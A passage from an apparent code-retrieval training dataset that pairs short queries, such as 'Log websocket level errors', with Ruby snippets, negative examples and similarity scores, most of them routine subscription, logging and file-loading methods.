destroy\n\t @subscription = Subscription.find(params[:id])\n\t @subscription.remove if @subscription\n\n\t redirect_to plans_path\t \t\n\tend", "def unsubscribe!\n self.unsubscribed = true\n save\n end", "def unsubscribe(event)\n has_subscriptions.find_by(subscribed_id: event.id).destroy\n end", "def unsubscribe\n debug [self.name, \"terminated\"]\n unsubscribe_request\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: (I18n.t :subscription_deleted) }\n format.json { head :no_content }\n end\n end", "def destroy\n subscriber = current_user.subscriber\n\n if subscriber.stop_auto_renew\n current_user.status = :cancelled\n current_user.save!\n redirect_to action: \"cancel_confirmation\"\n else\n @errors = subscriber.errors\n end\n end", "def terminate\n result = Cybersource.unstore(\";#{subscription_id}\",:order_id => \"#{order_id}\")\n if result.success == true\n self.update_attributes({:state => \"delete\", :note => \"User Requested Deletion\"})\n end\n end", "def unsubscribed\n super\n # TODO: abort any pending lookup requests\n end", "def unsubscribe(msg)\n false\n end", "def unsubscribe!\n @consumer.try(:cancel)\n @consumer = nil\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html {\n if request.referrer == subscription_url(@subscription)\n redirect_to session[:sub_delete_return_to]\n else\n redirect_to :back\n end\n }\n format.json { head :no_content }\n end\n end", "def delete_subscription(repo, options = {})\n boolean_from_response :delete, \"#{Repository.path repo}/subscription\", options\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def terminate_subscription_for(company)\n subscriber = company.subscriber\n\n terminated = subscriber.terminate_subscription\n company.subscription.update_attribute(:terminated_by_advisor, true) if terminated\n\n terminated\n end", "def unsubscribe\n if @subscriber\n @subscriber.stream.close\n @subscriber = nil\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n auth!\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(manage_screen_field_subscriptions_url(@screen, @field)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = current_user.subscriptions.find(params[:id])\n\t\tmanga = Manga.find(@subscription.manga_id)\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to mangas_url, notice: 'Successfully unsubscribed to '+ manga.display_name.to_s}\n format.json { head :no_content }\n end\n end", "def remove(address_or_id)\n delete(\"#{domain}/unsubscribes/#{address_or_id}\")\n end", "def destroy\n @subscribe.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribes_url }\n format.json { head :no_content }\n end\n end", "def delete options={}, headers={}\n @connection.delete \"subscriptions.json\", options, headers\n end", "def unsubscribe(ident)\n @subscribers.delete(ident)\n end", "def destroy\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n \n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end\n end", "def delete!\n delete_if { true }\n end", "def destroy\n event = Subscription.find(params[:id]).event\n current_user.unsubscribe(event)\n redirect_to event\n end", "def delete(mirror=@mirror)\n result = client.execute(\n :api_method => mirror.subscriptions.delete,\n :parameters => { 'id' => collection })\n if result.error?\n puts \"An error occurred: #{result.data['error']['message']}\"\n end\n end", "def remove_subscriber!(product, account)\n subscription = product_subscription(product)\n if !subscription.nil?\n matches = subscription.subscribers.select { |s| s.account.id.to_s == account.id.to_s }\n matches.each { |s| s.delete }\n subscription.save!\n else\n raise \"Product not found: #{product}\"\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def detach_subscription subscription\n publisher.detach_subscription subscription: subscription_path(subscription)\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n subscription = current_user.subscriptions.find(params[:id])\n subscription.destroy!\n\n render json: { status: 'success'}\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n\n @subscription.status = 'canceled'\n\n redirect_to subscriptions_path, notice: \"Your #{@subscription.category.name} subscription has been canceled.\"\n @subscription.save\n end", "def unsubscribe\n redis.unsubscribe\n end", "def deleteSubscription(subscr)\n subscriptions = Hash.new\n if @subscriptionLists.hasKey(\"subscriptions\")\n subscriptions = @subscriptionLists.getRepositoryObject(\"subscriptions\").getObject\n end\n #subscriptions[subscr] = Array.new\n #@subscriptionLists.commitObject(\"subscriptions\", subscriptions, false)\n subscriptions.delete(subscr)\n @subscriptionLists.commitObject(\"subscriptions\", subscriptions, false)\n end", "def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unsubscrible\n NewsletterMailer.unsubscrible\n end", "def unsubscribe( publication )\n subscriptions.by_publication( publication ).delete_all\n end", "def destroy\n @subscriber.destroy\n render_success_format('subscriber eliminada',@subscriber,true)\n rescue Exception => e\n render_default_error e, 401\n end", "def unsubscribe(aSubscriber)\n subscribers.delete_if { |entry| entry == aSubscriber }\n end", "def unsubscribed\n stop_all_streams\n end", "def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to @subscription.transaction }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\tSubscription.unsubscribe(reason_number: 2, subscriber_id:@subscriber.id, subscribed_id: @subscribed.id)\n\t\tflash[:success] = t('mailer.payment.subscription.stopped_backer') + @subscriber.preferred_name\n\t\tredirect_to(:back)\n\trescue\n\t\tflash[:error] = t('errors.messages.not_saved')\n\t\tredirect_to(:back)\t\t\n\tend", "def remove_rental_subscription(magazine_subscription)\n sub = RentalSubscription.find(:first, \n :conditions => [\"user_id = ? and magazine_subscription_id = ?\",\n id, magazine_subscription.id])\n if (sub)\n sub.destroy\n self.rental_queues.each do |rental_queue|\n \tif rental_queue.magazine_number.magazine_subscription == magazine_subscription\n \t rental_queue.destroy \t\n \tend\n end\n end\n end", "def unsubscribed?\n self.type == :unsubscribed\n end", "def destroy\n @api_subscription.destroy\n respond_to do |format|\n format.html { redirect_to api_subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unsubscribeTo (event)\r\n @subscribedEvents.delete?(event)\r\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_url) }\n format.xml { head :ok }\n end\n end", "def test_deleting_cancels_in_gateway\n Freemium.gateway.expects(:cancel).once.returns(nil)\n subscriptions(:bobs_subscription).destroy\n end" ]
[ "0.7181977", "0.7155097", "0.71144766", "0.7073991", "0.7033101", "0.69934714", "0.6929764", "0.6929764", "0.692375", "0.6861958", "0.68394095", "0.6747895", "0.6730669", "0.67278045", "0.6719343", "0.6715799", "0.6696177", "0.6688035", "0.6638654", "0.65838784", "0.6536387", "0.6532192", "0.6521607", "0.65125155", "0.650451", "0.6502253", "0.65020365", "0.6501927", "0.64712197", "0.6470068", "0.64294827", "0.64172524", "0.64156145", "0.641157", "0.6401088", "0.63998044", "0.6391997", "0.6362239", "0.6361215", "0.6345442", "0.63397604", "0.63235205", "0.6321472", "0.6303888", "0.62965506", "0.6276992", "0.62739784", "0.62671787", "0.6263953", "0.62507784", "0.62498444", "0.6248519", "0.6229032", "0.62287056", "0.62271106", "0.62260973", "0.6224705", "0.622042", "0.6220199", "0.6218666", "0.62077415", "0.61908937", "0.6158847", "0.6154797", "0.61392784", "0.6136328", "0.6129948", "0.61241144", "0.6117787", "0.611557", "0.611557", "0.611557", "0.611557", "0.6100723", "0.6099438", "0.6099438", "0.6099438", "0.6099438", "0.6099438", "0.6095866", "0.6093274", "0.6090789", "0.60879636", "0.6070757", "0.6070757", "0.6070757", "0.60672307", "0.604836", "0.604501", "0.6042086", "0.60412437", "0.60333294", "0.60317147", "0.6018962", "0.6017465", "0.6016667", "0.601638", "0.60091484", "0.60091484", "0.60091484", "0.60038704" ]
0.0
-1
Log websocket level errors
def on_error(env, error) logger.debug "Websocket error: #{error.message}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def inject_error(e)\n websocket_error(e)\n end", "def error(event)\n Firehose.logger.error \"WS connection `#{@req.path}` error. Message: `#{event.message.inspect}`\"\n end", "def on_error(env, error)\n Firehose.logger.error \"WS connection `#{cid}@#{path}` error `#{error}`: #{error.backtrace}\"\n end", "def on_stream_error(message)\n puts \"error: #{message}\\n\"\n end", "def error(msg); @logger.error(msg); end", "def log_error(msg)\n print_error(msg)\n\n elog(msg, 'hwbridge', error: $!)\n end", "def error(msg)\n log.error msg\n end", "def error?; @loggers.first.level <= ERROR; end", "def error message; write ERROR, message, caller[0] unless level > @level end", "def error(message)\n log.error(message.to_s.red)\n end", "def error_log\n end", "def error_log\n end", "def error_log\n end", "def push_error_message(msg)\n push_message(:error, msg)\n end", "def push_error_message(msg)\n push_message(:error, msg)\n end", "def error(msg)\n log(msg, level: Level::ERROR)\n end", "def log_error(exception); end", "def wire_level_logging\n %i[DEBUG INFO WARN ERROR FATAL UNKNOWN][Watir.logger.level]\n end", "def error(msg)\n @logger.error(msg)\n end", "def on_error(msg)\n end", "def error(log)\n output.puts log if log_level <= ERROR\n end", "def error(message)\n # note, we always log error messages\n add(:error, message)\n end", "def error(message)\n # note, we always log error messages\n add(:error, message)\n end", "def record_error_metrics_and_log(error)\n NewRelic::Agent.record_metric(RESPONSE_ERROR_METRIC, 0.0)\n if error.is_a?(GRPC::BadStatus)\n NewRelic::Agent.record_metric(grpc_error_metric_name(error), 0.0)\n else\n NewRelic::Agent.record_metric(GRPC_OTHER_ERROR_METRIC, 0.0)\n end\n NewRelic::Agent.logger.warn('gRPC response error received.', error)\n end", "def on_error(event, endpoint)\n @errors.push \"#{event.type}: #{endpoint.condition.name}: #{endpoint.condition.description}\"\n raise_errors if @raise_errors\n end", "def on_error(connection, reason)\n end", "def error(message)\n write_message message, 'error'\n end", "def log_error(e=$!)\n logger = Log4r::Logger.new \"Mauve::HTTPServer\"\n logger.error(e)\n logger.debug(e.backtrace.join(\"\\n\")) \n end", "def error(message)\n @module_manager.bot.log s prefix + \"\\e[31m\" + message + \"\\e[0m\"\n end", "def error(message)\n log(\"#{color(\"ERROR:\", :red, :bold)} #{message}\")\n end", "def log_error(err)\n\t\tprint_error(err)\n\n\t\twlog(err)\n\n\t\t# If it's a syntax error, log the call stack that it originated from.\n\t\tdlog(\"Call stack:\\n#{$@.join(\"\\n\")}\", 'core', LEV_1)\n\tend", "def client_error(e, client); end", "def error?; @level <= ERROR; end", "def error?; @level <= ERROR; end", "def log_and_error!(msg, code = :not_found)\n logger.error msg\n render json: { error: msg }.to_json, status: code, format: 'json'\n end", "def server_errors; end", "def on_flush_error(e)\r\n @logger.warn(\"Failed to send backlog of events to ThetaPoint\",\r\n :exception => e,\r\n :backtrace => e.backtrace\r\n )\r\n end", "def error(msg)\r\n prelog\r\n logger.error(msg)\r\n end", "def event_exception(error_str)\n unless error_str.to_s.include?('Connection reset by peer') or\n error_str.to_s.include?('Connection timed out')\n event_log \"Exception: #{error_str}\"\n end\nend", "def log_errors!\n if AnyCable.config.debug?\n # Print error with backtrace in debug mode\n AnyCable.capture_exception do |e|\n stack = e.backtrace\n backtrace = stack ? \":\\n#{stack.take(20).join(\"\\n\")}\" : \"\"\n AnyCable.logger.error(\"#{e.message}#{backtrace}\")\n end\n else\n AnyCable.capture_exception { |e| AnyCable.logger.error(e.message) }\n end\n end", "def error(m)\n log_handler.error msg(m)\n end", "def log_errors!\n if AnyCable.config.debug?\n # Print error with backtrace in debug mode\n AnyCable.capture_exception do |e|\n AnyCable.logger.error(\"#{e.message}:\\n#{e.backtrace.take(20).join(\"\\n\")}\")\n end\n else\n AnyCable.capture_exception { |e| AnyCable.logger.error(e.message) }\n end\n end", "def log_error(e)\n msg = {\n error_class: e.class.to_s,\n message: e.to_s,\n url: env['REQUEST_URI'].to_s,\n method: env['REQUEST_METHOD'].to_s,\n payload: env['rack.request.form_hash'].inspect.to_s\n }\n notify_error(e, msg)\n end", "def server_error\n\n end", "def error(msg)\n $tftplog.error('tftp+') { msg }\nend", "def record_error_with_less_nodes\n @supervisor.increment_error_count\n\n dashes = '-' * 90\n\n @error = %{#{exception.message}\\n#{exception.backtrace.join(\"\\n\")}\n#{dashes}\\nQUEUE ELEMENT:\\n#{@element.inspect}\n#{dashes}\\nRAW PAYLOAD:\\n#{@response.inspect}\n#{dashes}\\nRAW BODY:\\n#{@response_body.inspect}\n#{dashes}\\nPARSED PAYLOAD:\\n#{@entity.inspect}}\n\n log(\"#{'=' * 90}\\nERROR processing data!#{@error}\")\nend", "def on_error(err)\n Rails.logger.error \"SseResponder: #{err.to_s}\"\n end", "def error(msg)\n @logProvider.error(msg)\n end", "def error(msg) log(ERROR, \"ERROR \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end", "def on_flush_error(e)\n @logger.warn(\"Failed to send backlog of events to Redisearch\",\n :exception => e,\n :backtrace => e.backtrace\n )\n end", "def log_error(msg)\n\t\tprint_error(msg)\n\n\t\telog(msg, 'meterpreter')\n\n\t\tdlog(\"Call stack:\\n#{$@.join(\"\\n\")}\", 'meterpreter')\n\tend", "def log_error(ex)\n if @config.logger.respond_to?(:error)\n @config.logger.error(\"CrashHook Error: #{ex.inspect}\")\n elsif @config.logger.kind_of?(IO)\n @config.logger.puts(\"CrashHook Error: #{ex.inspect}\")\n end\n end", "def on_error reason\n puts reason\n close\n end", "def error_and_log(message)\n @ui.error(message)\n @logger.error(message)\n end", "def error(handler)\n puts '! Error occurred' if handler.bot.debug\n end", "def log_error(message)\n Rails.logger.error message\n puts message\n end", "def on_error error\n raise error\n end", "def error_level\n @error_level\n end", "def error(*args)\n log(*args)\n fail\n end", "def error\n asl_log(@aslclient, @aslmsg, ASL_LEVEL_ERR, message)\n end", "def log_error(*error_messages)\r\n options = custom_infos.extract_options!\r\n\r\n infos = []\r\n infos << \"Non-Exception Error raised when executing #{request.method} #{request.fullpath}\" if defined? request\r\n error_messages.each do |e_message|\r\n infos << \"\\t#{e_message}\"\r\n end\r\n infos << \"Error trace:\"\r\n include_trace_to info\r\n infos << \"\\n\"\r\n\r\n if options[:write_to] && options[:write_to].to_sym == :info\r\n $arb_log.error infos.join(\"\\n\")\r\n else\r\n $log.error infos.join(\"\\n\")\r\n end\r\nend", "def errorCommand\n @SocketHandle.puts \"You sent something wrong.\"\n end", "def error e\n if self.class.protocol.respond_to? :error\n self.class.protocol.error e\n else\n $stderr.puts e\n end\n end", "def on_handshake_failed( fd, endpoint )\n\t\t\tself.log.debug \"Client socket on FD %d handshake failed\" % [ fd ]\n\t\tend", "def _error(msg = nil)\n @api_error[:msg] = msg if msg\n logger.warn(@api_error[:loc]) { @api_error[:msg].message }\n end", "def log_channel_error(error)\n logger.error { \"ChannelManager: Channel '#{channel.name}' error: #{error}\" }\n end", "def print_err(err)\n Weechat.print '', \"%sTTS\\t%s - %s\" % [\n Weechat.color('red'),\n err.class.name,\n err.message\n ]\n end", "def connection_error_msg\n if not connection_valid?\n return status.message\n end\n end", "def log_request_error(error, url, error_code)\n Rails.logger.error(\"#{__FILE__} tried to access #{url} got: #{error.message} #{error.backtrace}\")\n log.puts \"#{error_code} #{error.message}\"\n end", "def on_error(error)\n @result << \"error: #{error}\"\n end", "def write_error_info\n end", "def error(exception)\n logger.error \"Beetle: handler execution raised an exception: #{exception.class}(#{exception.message})\"\n end", "def handle_error(message:)\n raise ::Kitchen::Pulumi::Error, message if config_fail_fast\n\n logger.error message\n error_messages.push message\n end", "def error?; @logger.error? end", "def websocket; end", "def websocket; end", "def on_handshake_failed_protocol( fd, endpoint )\n\t\t\tself.log.debug \"Client socket on FD %d handshake failed: protocol error\" % [ fd ]\n\t\tend", "def log_failure(message, opts)\n @logger.error(\"[HTTP Output Failure] #{message}\", opts)\n end", "def trace_errors\n getErrors.each { |e|\n puts \"(#{e.object || ''}): #{e.error}\"\n }\n end", "def send_error_to_slack\n send_request_to_slack(make_error_response)\n end", "def error(message)\n print(1, message)\n end", "def log_failure(message, opts)\n puts message\n @logger.error(\"[HTTP Output Failure] #{message}\", opts)\n end", "def log_callback_error err\n warn \"#{self.class}: ERROR: #{err}\\n from #{err.backtrace.inspect}\"\n rescue Exception => e\n Thread.main.raise(e) if !!$DEBUG\n end", "def error(msg)\n $ibm_cloud_log.error(format_message(msg))\n end", "def error(*args)\n log(:error, *args)\n end", "def logError(message)\n found = false\n if ($logMessages)\n\tlogServer = get($serverPath+'log')\n\tif (logServer != nil)\n\t\tlogServer.error(message)\n\t\tfound = true\n\tend\n end\n if (!found or !$logMessages or $printAllMessages)\n\tprint(message)\n end\nend", "def handle_websocket( request )\n\t\tself.log.warn \"Unhandled WEBSOCKET frame (%p)\" % [ request.headers.path ]\n\t\tres = request.response\n\t\tres.make_close_frame( Mongrel2::WebSocket::CLOSE_POLICY_VIOLATION )\n\n\t\tself.conn.reply( res )\n\t\tself.conn.reply_close( request )\n\n\t\treturn nil\n\tend", "def log_error(error)\n ::NewRelic::Agent.logger.error(\"Error establishing connection with New Relic Service at #{control.server}:\",\n error)\n end", "def err(e)\n @logger.error(e)\n end", "def severity\n :error\n end", "def error_level=(level)\n\t\t\t@stderr_logger.level = level\n\t\tend", "def error_level=(level)\n\t\t\t@stderr_logger.level = level\n\t\tend", "def error(x, status:200, type:\"request\", title:\"An error occurred\", message:\"\", args: [])\n x.res.status = status\n if App[:app_error][type.to_sym]\n App[:app_error][type.to_sym][:get][x, title, message, *args]\n else\n x << \"ERROR: #{title} - #{message}\"\n end\n end", "def error(message)\n output[:errors] << message\n end", "def json_error(code, message, component = '', operation = '', time = Time.now.utc)\n msg = {'error' => message}\n logger.cust_error(status:code, start_stop: 'STOP',\n component: component, message: message,\n operation: operation, time_elapsed: (Time.now.utc - time).to_s)\n halt code, {'Content-type' => 'application/json'}, msg.to_json\n end", "def send_error(string)\n send_data string\n close_connection_after_writing\n end", "def client_error?; end", "def receive(websocket_message); end", "def err(message)\n warn \" > #{message}\"\nend", "def error_handler(exception)\n puts exception\n end" ]
[ "0.7010622", "0.6873135", "0.670333", "0.64622253", "0.61725646", "0.6074077", "0.60400975", "0.594101", "0.59091365", "0.59008425", "0.5869451", "0.5869451", "0.5869451", "0.5821708", "0.5821708", "0.5798314", "0.5760141", "0.57395995", "0.57081443", "0.56787705", "0.56773686", "0.566937", "0.566937", "0.56593955", "0.564985", "0.5638767", "0.56240803", "0.55901766", "0.5572455", "0.5545988", "0.55244297", "0.55201113", "0.5510935", "0.5510935", "0.55026263", "0.55025816", "0.5492319", "0.5481208", "0.54552263", "0.54502", "0.54443496", "0.54372036", "0.54100794", "0.53997076", "0.5399518", "0.5388761", "0.5388277", "0.5373328", "0.5372971", "0.5353889", "0.5351201", "0.5346579", "0.53254265", "0.53177965", "0.5313217", "0.53108895", "0.530811", "0.530769", "0.5306446", "0.5306159", "0.529636", "0.52717566", "0.5256189", "0.5253499", "0.5248175", "0.5245365", "0.52429867", "0.52382606", "0.52378356", "0.5213914", "0.5209016", "0.52066004", "0.51970196", "0.51927865", "0.51885265", "0.51885265", "0.51863986", "0.51854503", "0.5183849", "0.51769656", "0.5176906", "0.5171095", "0.5166626", "0.5152617", "0.51467603", "0.5142639", "0.51386184", "0.51369196", "0.5127172", "0.5121308", "0.51099384", "0.51099384", "0.5107162", "0.5104509", "0.5102929", "0.5096547", "0.509242", "0.5089671", "0.5082156", "0.5081485" ]
0.7805862
0
file loaded. Make changes to this file and then run 'ruby part1.rb' at the command line, this will run your program. Once you're satisfied with your work, save your file and upload it to the checker.
def palindrome?(str) s = str.gsub(/[^a-zA-Z]*/, '').to_s.downcase s.reverse == s # YOUR CODE HERE end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end", "def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end", "def start()\n source_in = File.new(@file, \"r\")\n read_source(source_in)\n\n # Pad with spaces if necessary\n if !@nopad\n pad()\n end\n\n execute()\n end", "def initialise(loadfile)\n\n # Initialise steps\n\n phases = Phases.new\n $commands = Commands.new\n \n if $testing == 1\n require_relative 'Testing.rb'\n require_relative '../Extra/Parser.rb'\n end\n \n if $debugplay == 1\n $debug.debugplay\n end\n \n # Initialise graphics if graphics mode is on\n #if $graphics == 1\n #require 'RMagick'\n require_relative '../Graphics/GraphicsHandler.rb'\n #graphicsinit\n #end\n \n #system(\"unzip ../Resources/Images.zip\")\n \n \n # Load game\n if $loadgame == true\n loadgame(loadfile)\n end\n \n # Set command authentication levels\n IO.foreach(\"cards.txt\") { |line| puts line }\n \nend", "def perform\n\tcheck_if_user_gave_input\n\tcreate_folder(get_folder_name)\n\t\n\tDir.chdir(\"#{get_folder_name}\")\n\t\n\tgemfile_creation\n\tgit_init\n\tdotenv_gitignore\n\tlib\n\trspec\n\treadme\n\n\tprint 'enter the title of your main ruby file : '\n\tmain_dot_rb = STDIN.gets.chomp\n\tputs ''\n\n\tDir.chdir('lib') do\n\t\tcreate_main_dot_rb(main_dot_rb)\n\t\tcreate_template_dot_rb\n\tend\n\n\tDir.chdir('spec') do\n\t\tcreate_main_spec_dot_rb(main_dot_rb)\n\t\tcreate_template_spec_dot_rb\n\t\tsystem(\"subl #{main_dot_rb}_spec.rb\")\t\n\tend\nend", "def run\n #possible loop\n unformatted_cards = TextParser.run(@file)\n card_factory(unformatted_cards)\n View.game_intro\n View.print_definition\n user_input = get_user_input\n evaluate_user_input(user_input)\n end", "def eval_file; end", "def run\n @files.each { |filename| load(filename) }\n end", "def self_writing_programme\nFile.open(\"ex14.8.rb\", \"r\") do |file|\nfile.readlines.each do |line|\n puts line\nend\nfile.close\nend\nend", "def load_script(file); end", "def test() \n @runner.prepareForFile(@filename)\n testIfAvailable(codeFilename())\n end", "def run\n src = ARGF.read\n exit 2 unless src\n\n interpreter = Expectr::Interpreter.new(src.untaint)\n interpreter.filename = $FILENAME\n interpreter.run\n end", "def try_load_students\n filename = ARGV.first #first argument of command line\n return if filename.nil?\n if File.exists?(filename)# if file exists then execute load_students method\n load_students(filename)\n puts \"Information has been loaded from #{filename}\"\n else # If file doesn't exist\n puts \"Try again, #{filename} doesn't exist\"\n exit # quit the program\n end\nend", "def Run222(programPath)\n file = File.open(programPath, \"w+\")\n\t\tfile.puts(\"Yes I am up!\")\n\t\tfile.close()\n end", "def load_and_run!\n File.open(@pathfile, \"w\") { |f| f.write(@pathfile_contents) }\n Pathological.add_paths!(@load_path)\n end", "def script; end", "def script; end", "def run(filename, options) end", "def run_file(filename, preloading = false)\n begin\n result = RSpec::Core::CommandLine.new([\"-f\", \"p\", filename]).run(io, io)\n rescue LoadError => e\n io << \"\\nCould not load file #{filename}: #{e.message}\\n\\n\"\n result = 1\n rescue Exception => e\n io << \"Exception when running #{filename}: #{e.message}\"\n io << e.backtrace[0..7].join(\"\\n\")\n result = 1\n end\n\n if preloading\n puts io.string\n else\n channel.write(\"command\" => \"result\", \"filename\" => filename, \"return_code\" => result.to_i, \"text\" => io.string, \"worker_number\" => worker_number)\n end\n end", "def show_usage_and_exit\r\n puts 'Usage:', 'verifier.rb *filename* file should be a blockchain.txt file'\r\n exit 1\r\nend", "def run_addsave\n\tputs \"-----------------\"🐝\n\tload_file \n\trun_shopping_list\n\tfinish_addsave\nend", "def run_file(filename, preloading = false)\n @cuke_runtime ||= ::Cucumber::ResetableRuntime.new # This runtime gets reused, this is important as it's the part that loads the steps...\n begin\n result = 1\n cuke_config = ::Cucumber::Cli::Configuration.new(io, io)\n cuke_config.parse!([\"--no-color\", \"--require\", \"features\", filename])\n @cuke_runtime.configure(cuke_config)\n @cuke_runtime.run!\n result = 0 unless @cuke_runtime.results.failure?\n rescue LoadError => e\n io << \"\\nCould not load file #{filename}: #{e.message}\\n\\n\"\n rescue Exception => e\n io << \"Exception when running #{filename}: #{e.message}\"\n io << e.backtrace[0..7].join(\"\\n\")\n end\n\n if preloading\n puts(io.string)\n else\n channel.write(\"command\" => \"result\", \"filename\" => filename, \"return_code\" => result.to_i, \"text\" => io.string, \"worker_number\" => worker_number)\n end\n end", "def finished_file(_file, _lints); end", "def run\r\n return puts(\"usage example: glimmer run tictactoe\") unless @name\r\n # Search for the filename (and add the .rb extension if not provided), and run it\r\n if File.exist?(\"#{@name}#{'.rb' unless @name =~ /.rb$/}\")\r\n command = \"#{JRUBY_COMMAND} \\\"#{@name.gsub(/\\\\/, '/')}#{'.rb' unless @name =~ /.rb$/}\\\"\"\r\n else\r\n # Search for all installed samples and try to run of those\r\n command = \"#{JRUBY_COMMAND} \\\"#{SAMPLES_PATH}/#{fetch_app(@name)}.rb\\\"\"\r\n end\r\n puts \"Starting the application with following command:\"\r\n puts command\r\n system command\r\n end", "def run_it\n run_through_directory\n file_array_parser\n remove_initial_and_format_change\n array_to_hash\n final_name_info\n create_goal_file\nend", "def run\n load_the_file\n word_frequency\n match_the_word\n end", "def run(file)\n # OPTIMIZE Detailed output for --pre commands with popen4?\n @pre.each { |cmd|\n ret = system(cmd)\n unless ret\n STDERR.puts \"Error: This preprocessing command signalled failure (#{$?}), please check --> #{cmd}\"\n return\n end\n }\n dbs = DocbookStatus::Status.new(file)\n doc_info = dbs.analyze_file\n doc_info[:remarks] = dbs.find_remarks(@remarks_filter) if @remarks\n if history_on?()\n dbs_h = DocbookStatus::History.new(file)\n dbs_h.planned_end(@end_date) if @end_date != NOVAL\n dbs_h.total_words(@total_words) if @total_words != NOVAL\n dbs_h.daily_words(@daily_words) if @daily_words != NOVAL\n dbs_h.add(DateTime.now, doc_info[:sections][0][:words])\n dbs_h.save\n doc_info[:goals] = dbs_h.goals\n doc_info[:today] = dbs_h.today\n end\n case\n when @output_format == :yaml\n YAML.dump(doc_info, STDOUT)\n when @output_format == :json\n STDOUT.puts doc_info.to_json\n else\n output_terminal(doc_info)\n end\nend", "def spawn\n\t\t\tputs \"loading ruby script: #{@exec}\"\n\t\t\tdaemonize('load') do |command|\n\t\t\t\tcmd = Shellwords.split(command)\n\t\t\t\tfile = cmd.shift\n\n\t\t\t\t# reset ARGV\n\t\t\t\tObject.instance_eval{ remove_const(:ARGV) }\n\t\t\t\tObject.const_set(:ARGV, cmd)\n\n\t\t\t\t# reset $0\n\t\t\t\t$0 = file\n\n\t\t\t\t# reset $*\n\t\t\t\t$*.replace(cmd)\n\n\t\t\t\tload file\n\n\t\t\t\t# make sure we exit if loaded file won't\n\t\t\t\texit 0\n\t\t\tend\n\t\tend", "def run(filename, top_results=100)\n\n\t\t# lets start with fresh slate\n\t\tclear_data\n\n\t\t# opps i left this in, enjoy :)\n\t\tputs @sol\n\n\t\t#read the contens of the file in as an array of lines\n\t\tf = File.readlines(filename)\n\n\t\t#loop of the lines\n\t\tfor line in f\n\n\t\t\t# convert the lines to words, and then loop over them\n\t\t\tfor word in line.split\n\t\t\t\tself.updateWord(word.downcase)\n\t\t\tend\n\t\tend\n\n\t\t# print the results out\n\t\tprintResults(top_results)\n\t\treturn nil\n\tend", "def load(file); end", "def load_file(file); end", "def intro\n\tputs \"1--Load File\"\n\tputs \"2--New Game\"\n\tchoice = gets.chomp.to_i\n\tcase choice \n\twhen 1\n\t\tload()\n\twhen 2\n\tputs \"Hello Quester, what is your name?\"\n\t@user_name = gets.chomp\n\tputs \"Welcome \" + @user_name.to_s \n\tputs \"You have \" + @coin.to_s + \" coins.\"\n\tend\nend", "def main; end", "def run(sketch, args)\n ensure_exists(sketch)\n 